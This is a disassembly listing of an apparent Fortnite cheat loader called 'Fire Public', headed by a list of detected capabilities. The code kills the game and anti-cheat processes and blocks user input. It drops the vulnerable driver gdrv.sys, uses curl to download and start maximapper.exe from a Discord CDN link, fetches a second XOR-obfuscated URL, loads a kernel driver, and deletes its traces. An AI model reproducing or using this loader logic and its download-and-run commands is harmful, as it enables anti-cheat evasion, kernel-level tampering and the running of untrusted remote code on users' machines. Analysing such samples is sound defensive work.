Function at 0x140009990
Capabilities:
Create thread
Delete file
Download and write a file
Download url
Encode data using xor
Execute command
Receive and write data from server to client
Receive data
Set console window title
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [0x1400d7080]
xor rax, rsp
mov qword [rbp], rax
xor r14d, r14d
lea rcx, str.Fire_Public
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rdx, str.Welcome_to_Fire_Public_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a720
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rdi, rax
lea edx, [r14 + 0xa]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Status:_Undetected_On_EAC__BE_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a720
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400c5230]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea edx, [r14 + 0xe]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Connecting...__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a720
lea rcx, [0x1401bbc90]
call fcn.140058520
cmp byte [0x1401bbea0], r14b
jne 0x140009aa0
lea edx, [r14 + 0xc]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Status:__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a720
mov rcx, rax
lea rdx, [0x1401bbea8]
call fcn.14000a8f0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [0x1400c5230]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Enter_Key:___n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a720
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14000a910
lea rdx, [0x140191ac8]
lea rcx, [rbp - 0x60]
call fcn.14000a3d0
mov rdx, rax
lea rcx, [0x1401bbc90]
call fcn.140059f10
mov rcx, rdi
cmp byte [0x1401bbea0], r14b
jne 0x140009b38
mov edx, ntohs
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Status:__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a720
mov rcx, rax
lea rdx, [0x1401bbea8]
call fcn.14000a8f0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, 0xa
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Successfully_Logged_In
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a720
lea rdx, [0x14000ab30]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400c5230]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [0x1401bc548]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r9 + 3]
lea rcx, str..pymodule
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbx + 0x10], rax
inc rax
test rax, 0xfffffffffffffffe
jne 0x140009e7e
mov edx, reloc.WS2_32.dll_ntohl
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Driver_Not_Loaded
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a720
lea rdx, [0x14000ab30]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Fortnite
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140009ca0
mov edx, ntohs
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Fortnite_Is_Open
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a720
lea rdx, [0x14000ab30]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, reloc.WS2_32.dll_ntohl
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Closing_Fortnite...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a720
lea rdx, [0x14000ab30]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.taskkill__F__IM_FortniteClient_Win64_Shipping.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__F__IM_EasyAntiCheat.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__F__IM_BEService_x64.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
mov dword [rbp - 0x20], r14d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
lea rcx, str.C:WindowsSystem32Driversgdrv.sys
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x140009d26
cmp rsi, 0xffffffffffffffff
je 0x140009e45
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x20]
mov r8d, 0x6650
lea rdx, [0x1400d72f0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ebx, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x140009e45
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1171674087479840909_1182744343832952962_maximapper.exe_ex6585cf81is65735a81hm48bb8c796e8e7d2f09d8b2dcb07f6da4b8d8f1b35c89a6acd3e39f0aa61d7e5b___output_C:WindowsSystem32maximapper.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:WindowsSystem32maximapper.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400c69d0]
movdqu xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [0x1400c6a60]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm0, xmmword [0x1400c6ad0]
movdqu xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [0x1400c6ac0]
movdqu xmmword [rsp + 0x70], xmm1
movdqa xmm0, xmmword [0x1400c69c0]
movdqu xmmword [rbp - 0x80], xmm0
mov dword [rbp - 0x70], 0x959c97cd
mov word [rbp - 0x6c], 0x100
mov rcx, r14
nop word [rax + rax]
lea eax, [rcx - 0x6d]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x54
jb 0x140009da0
mov byte [rbp - 0x6b], r14b
movdqa xmm0, xmmword [0x1400c69f0]
movdqu xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x1400c6a20]
movdqu xmmword [rbp - 0x50], xmm1
mov word [rbp - 0x40], 0xc0
mov byte [rbp - 0x3e], 1
mov rcx, r14
nop dword [rax + rax]
lea eax, [rcx - 0x6d]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 0x21
jb 0x140009de0
mov byte [rbp - 0x3e], r14b
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rbp - 0x60]
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
call fcn.140004c00
lea r8, str.Error_When_Loading_Driver__n
lea rcx, str.Driver_loaded_successfully_n
test eax, eax
cmovs rcx, r8
call fcn.140001610
lea rcx, str.C:WindowsSystem32Driversgdrv.sys
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, str.C:WindowsSystem32Driversd.sys
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
xor ecx, ecx
call qword [sym.imp.USER32.dll_BlockInput]
mov edx, 0xa
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Open_Fortnite_Now
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a720
lea rdx, [0x14000ab30]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Fortnite
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x140009ec2
nop dword [rax]
nop word [rax + rax]
lea rdx, str.Fortnite
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov rbx, rax
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
je 0x140009ea0
lea rcx, str.EasyAntiCheat.exe
call fcn.140005df0
test eax, eax
je 0x140009ee8
mov qword [0x1400d70b8], 0x269
mov qword [0x1400d70c0], 0xfc6
lea rcx, str.FortniteClient_Win64_Shipping.exe
call fcn.140005df0
movsxd r9, eax
mov rax, qword [0x1401bc548]
mov qword [rax], r9
mov rbx, qword [0x1401bc548]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r9 + 3]
lea rcx, str..pymodule
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbx + 0x10], rax
mov rcx, qword [0x1401bc548]
mov qword [rbp - 0x20], r14
mov dword [rbp - 0x60], 0xcabd5e5
mov eax, dword [rcx]
mov dword [rbp - 0x5c], eax
lea rax, [rbp - 0x20]
mov qword [rbp - 0x58], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov ebx, reloc.WS2_32.dll_recv
mov r9d, ebx
lea r8, [rbp - 0x60]
mov edx, 0x223fb8
mov rcx, qword [rcx + 0x10]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rdx, qword [rbp - 0x20]
mov rax, qword [0x1401bc548]
mov qword [rax + 8], rdx
lea rcx, str._p__n
call fcn.140001610
lea rdx, str.Fortnite
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, [0x1401bbc48]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowRect]
test eax, eax
je 0x140009fe7
mov eax, dword [0x1401bbc50]
sub eax, dword [0x1401bbc48]
mov dword [0x1401bbc40], eax
mov eax, dword [0x1401bbc54]
sub eax, dword [0x1401bbc4c]
mov dword [0x1401bbc70], eax
call fcn.14004c110
mov edi, eax
mov ecx, 8
call fcn.1400ae2e0
lea rcx, [0x140001dc0]
mov qword [rax], rcx
mov qword [rbp - 0x20], rax
lea rcx, [rbp - 8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x14000b200]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x10], rax
test rax, rax
je 0x14000a1a1
cmp dword [rbp - 8], 0
je 0x14000a195
movaps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14000a195
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x10], xmm0
cmp edi, 1
jne 0x14000a15d
lea rcx, str.win32u
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtUserInjectMouseInput
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
test rax, rax
jne 0x14000a0da
lea rcx, str.user32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtUserInjectMouseInput
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
test rax, rax
jne 0x14000a0da
lea rcx, str.user32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.InjectMouseInput
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
test rax, rax
je 0x14000a12d
movups xmm1, xmmword [rcx]
movdqu xmmword [0x1401bc338], xmm1
movsd xmm0, qword [rcx + 0x10]
movsd qword [0x1401bc348], xmm0
mov eax, dword [rcx + 0x18]
mov dword [0x1401bc350], eax
movzx eax, word [rcx + 0x1c]
mov word [0x1401bc354], ax
movdqa xmm0, xmmword [0x1400c6ae0]
xorps xmm0, xmm1
movdqu xmmword [0x1401bc338], xmm0
lea rax, [0x1401bc338]
xor byte [rbx + rax], 0xfa
inc rbx
cmp rbx, 0x1e
jb 0x14000a120
lea rbx, vtable.std::_Func_impl_no_alloc_void____cdecl___void___void___.0
lea rdi, [0x140007b70]
nop dword [rax + rax]
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x58], rdi
lea rax, [rbp - 0x60]
mov qword [rbp - 0x28], rax
lea rcx, [rbp - 0x60]
call fcn.14004c3f0
test eax, eax
jne 0x14000a140
cmp dword [rbp - 8], 0
je 0x14000a16a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
xor eax, eax
mov rcx, qword [rbp]
xor rcx, rsp
call fcn.1400ae2c0
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp - 8], r14d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3